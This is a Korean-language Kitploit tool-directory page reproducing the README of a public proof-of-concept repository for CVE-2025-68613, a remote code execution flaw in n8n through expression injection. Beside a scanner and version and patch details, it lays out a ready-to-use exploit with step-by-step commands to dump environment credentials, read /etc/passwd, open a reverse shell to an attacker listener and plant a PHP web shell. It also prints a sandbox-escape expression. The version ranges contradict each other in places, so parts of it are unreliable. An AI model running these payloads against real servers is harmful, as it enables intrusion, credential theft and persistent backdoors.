Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-68613-POC — 공개 PoC + 스캐너 및 CVE-2025-68613에 대한 연구: n8n 워크플로 자동화의 표현식 삽입을 통한 치명적인 RCE (CVSS 10.0). 탐지 도구, 전체 익스플로잇 및 복구 지침을 포함합니다. | Kitploit
도구/GitHubGitHub/thestingr/cve-2025-68613-poc
ReconnaissanceVulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingPapers & ResearchLearning & EducationRed TeamingPayload Development
264410개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubthestingr/cve-2025-68613-poc

CVE-2025-68613-POC

공개 PoC + 스캐너 및 CVE-2025-68613에 대한 연구: n8n 워크플로 자동화의 표현식 삽입을 통한 치명적인 RCE (CVSS 10.0). 탐지 도구, 전체 익스플로잇 및 복구 지침을 포함합니다.

저장소 보기

🚨 CVE-2025-68613: n8n의 심각한 RCE 취약점

Language: Python CVSS Score: 10.0 Critical Exploit Status: Proof of Concept Available CVE Status: CVE-2025-68613 Disclosed Version: v1.0.2 Target Platform: n8n

CVE-2025-68613 PoC - TechSquad RedTeam

목차

  1. 개요
  2. n8n이란?
  3. 취약점 기본
  4. 기술적 세부 사항
  5. 영향받는 버전
  6. 악용 메커니즘
  7. 실제 영향
  8. 탐지 방법
  9. 수정 및 완화
  10. 리소스 및 참고 자료

개요

CVE-2025-68613은 인기 있는 오픈 소스 워크플로우 자동화 플랫폼인 n8n에서 발견된 심각한 원격 코드 실행(RCE) 취약점입니다. 이 취약점은 인증된 사용자가 서버에서 임의의 코드를 실행할 수 있게 하여, 잠재적으로 시스템 전체가 손상될 수 있습니다.

빠른 사실

  • CVE ID: CVE-2025-68613
  • CVSS 점수: 9.9 - 10.0 (Critical)
  • 취약점 유형: 표현식 주입 → 원격 코드 실행
  • CWE: CWE-913 (동적으로 관리되는 코드 리소스에 대한 부적절한 제어)
  • 공격 경로: 네트워크
  • 인증 필요: 예 (낮은 권한 - 관리자 액세스 불필요) |- 상태: 개념 증명 사용 가능 (v1.121.0에서 작동 확인됨)

n8n이란?

n8n은 사용자가 다음을 수행할 수 있는 오픈 소스 워크플로우 자동화 플랫폼입니다:

  • 다양한 API, 데이터베이스 및 서비스 연결
  • 반복적인 비즈니스 프로세스 자동화
  • 광범위한 코딩 없이 복잡한 워크플로우 생성
  • 온프레미스 또는 클라우드에 배포

n8n이 중요한 인프라인 이유

조직은 n8n을 사용하여:

  • 데이터베이스를 클라우드 서비스와 통합
  • 데이터 처리 파이프라인 자동화
  • CRM, ERP 및 내부 시스템 연결
  • 민감한 데이터 및 API 자격 증명 관리

IT 인프라에서의 이러한 핵심 역할로 인해 취약점은 특히 위험하며, 공격자에게 전체 네트워크 및 민감한 데이터에 대한 액세스를 제공할 수 있습니다.


이 저장소의 도구

이 저장소에는 취약점 탐지 및 악용 테스트를 위한 즉시 사용 가능한 도구가 포함되어 있습니다:

1. 스캐너: cve-2025-68613-scanner.py

목적: 취약한 n8n 인스턴스를 악용하지 않고 안전하게 탐지

특징:

  • HTTP 응답에서 수동 버전 탐지
  • 인증 불필요
  • 페이로드 실행 없음
  • 여러 일반 경로 확인 (/, /rest/settings, /healthz, /api/v1/health)
  • 승인된 보안 평가에 안전

사용법:```bash python3 cve-2025-68613-scanner.py -u http://target:5678

**Output**:
- Exit code 0: 취약하지 않음
- Exit code 1: 버전 확인 불가 (패치되었거나 숨겨졌을 수 있음)
- Exit code 2: 취약한 버전 감지됨

### 2. Nuclei Template: `CVE-2025-68613.yaml`
**Purpose**: 자동 취약점 탐지 및 기본 표현식 평가 테스트

**Features**:
- 유효한 인증 토큰 필요
- 표현식 삽입 기능 테스트
- Node.js 전역 컨텍스트(process.platform) 읽기 시도
- RCE 벡터 검증을 위한 테스트 워크플로 생성
- CVSS 10.0 치명적 심각도 분류

**Usage**:

nuclei -t CVE-2025-68613.yaml -u <target_url> -H "Authorization: Bearer "

# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v

# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
```
### 3. 전체 익스플로잇: `exploit_cve-2025-68613.py`
**목적**: 여러 공격 페이로드를 포함한 완전한 개념 증명 익스플로잇

**기능**:
- 전체 인증 처리
- 여러 익스플로잇 페이로드:
  - **info**: 시스템 정보 수집 (OS, 아키텍처, Node.js 버전, 현재 사용자)
  - **cmd**: 임의의 시스템 명령어 실행
  - **env**: 모든 환경 변수 추출 (자격 증명, API 키, 비밀 등 노출)
  - **read**: 파일시스템에서 민감한 파일 읽기 (SSH 키, 설정 파일 등)
  - **write**: 파일시스템에 파일 쓰기 (지속성, 백도어 등)
  - **revshell**: 대화형 액세스를 위한 리버스 셸 연결 설정
- 자동 워크플로 정리
- 오류 처리 및 상태 보고

**요구 사항**:
- 유효한 n8n 사용자 자격 증명 (이메일/비밀번호)
- Python 3.6+ 및 requests 라이브러리
- 대상 n8n 인스턴스에 대한 네트워크 액세스

**설치**:```bash
pip install requests
chmod +x exploit_cve-2025-68613.py
```
**사용 예시**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload info

# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload cmd --command "whoami"

# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload env

# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload read --file "/etc/passwd"

# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444

# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload write \  
  --file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
```
**작동 방식**:

1. 제공된 자격 증명을 사용하여 n8n에 인증
2. 표현식 주입 페이로드가 포함된 악성 워크플로우 생성
3. 페이로드가 `this.constructor.constructor()`를 사용하여 표현식 샌드박스 탈출
4. `process.platform` 또는 기타 Node.js API를 통해 페이로드 실행
5. 워크플로우 실행 결과 검색
6. 테스트 워크플로우를 삭제하여 정리

**종료 코드**:
- 0: 성공적인 익스플로잇
- 1: 인증 또는 익스플로잇 실패

---

## 취약점 기본 사항

### 문제는 무엇인가?

간단히 말하면: **n8n은 사용자가 워크플로우에서 표현식을 작성하여 데이터를 동적으로 처리할 수 있도록 합니다. 그러나 이러한 표현식은 적절한 샌드박싱 없이 평가되어, 공격자가 의도된 실행 컨텍스트를 벗어나 서버에서 임의 코드를 실행할 수 있습니다.**

### 핵심 문제

n8n에서 워크플로우를 생성할 때 "표현식"을 사용하여 데이터를 조작할 수 있습니다. 이러한 표현식은 제한된 환경에서 실행되어야 합니다. 그러나 이 취약점은 이러한 표현식이 기본 시스템에 접근할 수 있음을 보여주며, 공격자가 다음을 수행할 수 있습니다:

1. 시스템 명령 실행
2. 서버의 파일 읽기/쓰기
3. 환경 변수 탈취 (API 키, 비밀번호, 시크릿)
4. 데이터 수정 또는 삭제
5. 장기 접근을 위한 지속성 확보

### 왜 위험한가

- **낮은 진입 장벽**: 사용자 로그인만 필요 (특별한 관리자 권한 불필요)
- **광범위한 적용 가능성**: 많은 조직에서 비기술적 사용자가 워크플로우를 생성하도록 허용
- **높은 영향**: n8n 프로세스의 전체 권한으로 실행
- **데이터 접근**: n8n이 접근할 수 있는 모든 데이터에 접근 가능 (데이터베이스, API, 자격 증명)
- **네트워크 위치**: n8n은 종종 중요 인프라의 중심에 위치하여, 측면 이동 가능

---

## 기술 세부 사항

### 취약점 작동 방식

#### 1단계: 워크플로우 표현식 평가
사용자가 n8n에서 워크플로우를 생성할 때, 표현식을 사용하여 데이터를 처리할 수 있습니다:```
Input: User creates a workflow with an expression
n8n Expression Engine: Evaluates the expression
Expected Output: Processed data
Actual Output (Vulnerable): Expression execution context not isolated from runtime
```
#### 단계 2: 표현식 삽입
공격자는 의도된 샌드박스를 탈출하는 악의적인 표현식을 제작합니다:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}
```
#### 3단계: 코드 실행
표현식이 적절한 격리 없이 평가되어 공격자가 다음을 수행할 수 있게 됩니다:
- 시스템 함수 호출
- 셸 명령 실행
- 파일 시스템 접근
- 환경 변수 읽기

### 근본 원인

이 취약점은 표현식 평가 엔진의 **불충분한 샌드박싱**에서 비롯됩니다. n8n 팀은 다음 컨텍스트에서 표현식을 평가했습니다:
- `require()` 또는 유사한 모듈 로딩 함수에 대한 접근 허용
- 시스템 API 접근을 적절히 제한하지 않음
- 표현식 구문을 검증하거나 필터링하지 않음
- 프로토타입 오염 공격을 방지하지 않음
- 실행 환경을 기본 Node.js 런타임으로부터 격리하지 않음

### 코드 실행 경로```
User Input (Workflow Expression)
    ↓
Expression Parser
    ↓
Evaluation Engine (VULNERABLE - Not Sandboxed)
    ↓
Direct Access to Node.js Runtime
    ↓
System Command Execution / File Access / Credential Theft
```
---

## 영향받는 버전

### 취약 버전 범위

다음 n8n 버전들 **0.211.0**부터 다음 버전까지 취약합니다:
- `0.211.0` → `1.120.3`
- `1.121.0`

### 패치된 버전

취약점은 다음 버전에서 수정되었습니다:
- ✅ `1.120.4` 및 이후 (1.120.x 브랜치)
- ✅ `1.121.1` 및 이후 (1.121.x 브랜치)
- ✅ `1.122.0` 및 모든 최신 버전

### 버전 확인 방법```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"

# Or check the admin panel
# Go to Settings → About → Version
```
---

## 테스트된 버전 및 호환성

### 확인된 작동
- **n8n v1.121.0**: ✅ 완전히 악용 가능 (RCE 확인, 표현식 주입 작동)
- **n8n v0.211.0 - v1.120.3**: ✅ NVD 기준 취약 범위 내 (개별 테스트되지 않음)

### 알려진 문제
- **REST 실행 제한**: `/rest/workflows/{id}/run` 엔드포인트가 v1.121.0에서 HTTP 500 오류 반환
  - **해결 방법**: 표현식 주입이 완벽히 작동, RCE 확인됨:
    1. UI에서 "테스트 단계" 버튼 수동 클릭 (작동 확인)
    2. 워크플로우 출력 캡처
  - **이는 API 제한이며 익스플로잇 버그가 아님**

### 테스트되지 않음
- **n8n v0.212.0+**: 문서화된 취약 범위 밖, 패치되었을 가능성 높음 (GitHub 이슈 #1 참조)
- **Windows Server 배포**: Windows 특화 환경에 대한 제한적인 테스트 데이터

### 버전 지원 설명
익스플로잇은 NVD에 문서화된 취약 범위를 대상으로 설계되었습니다:
- **확인된 취약 버전**: 0.211.0 ~ 1.120.3, 추가로 1.121.0
- **패치된 버전**: 1.120.4, 1.121.1, 1.122.0 이상

이 범위를 벗어난 버전을 테스트할 경우 성공이 보장되지 않습니다.

---

## 악용 메커니즘

### 공격자는 무엇을 할 수 있나요?

인증된 사용자(또는 유효한 자격 증명을 가진 공격자)가 이 취약점을 악용하면 다음과 같은 작업을 수행할 수 있습니다:
도구 다운로드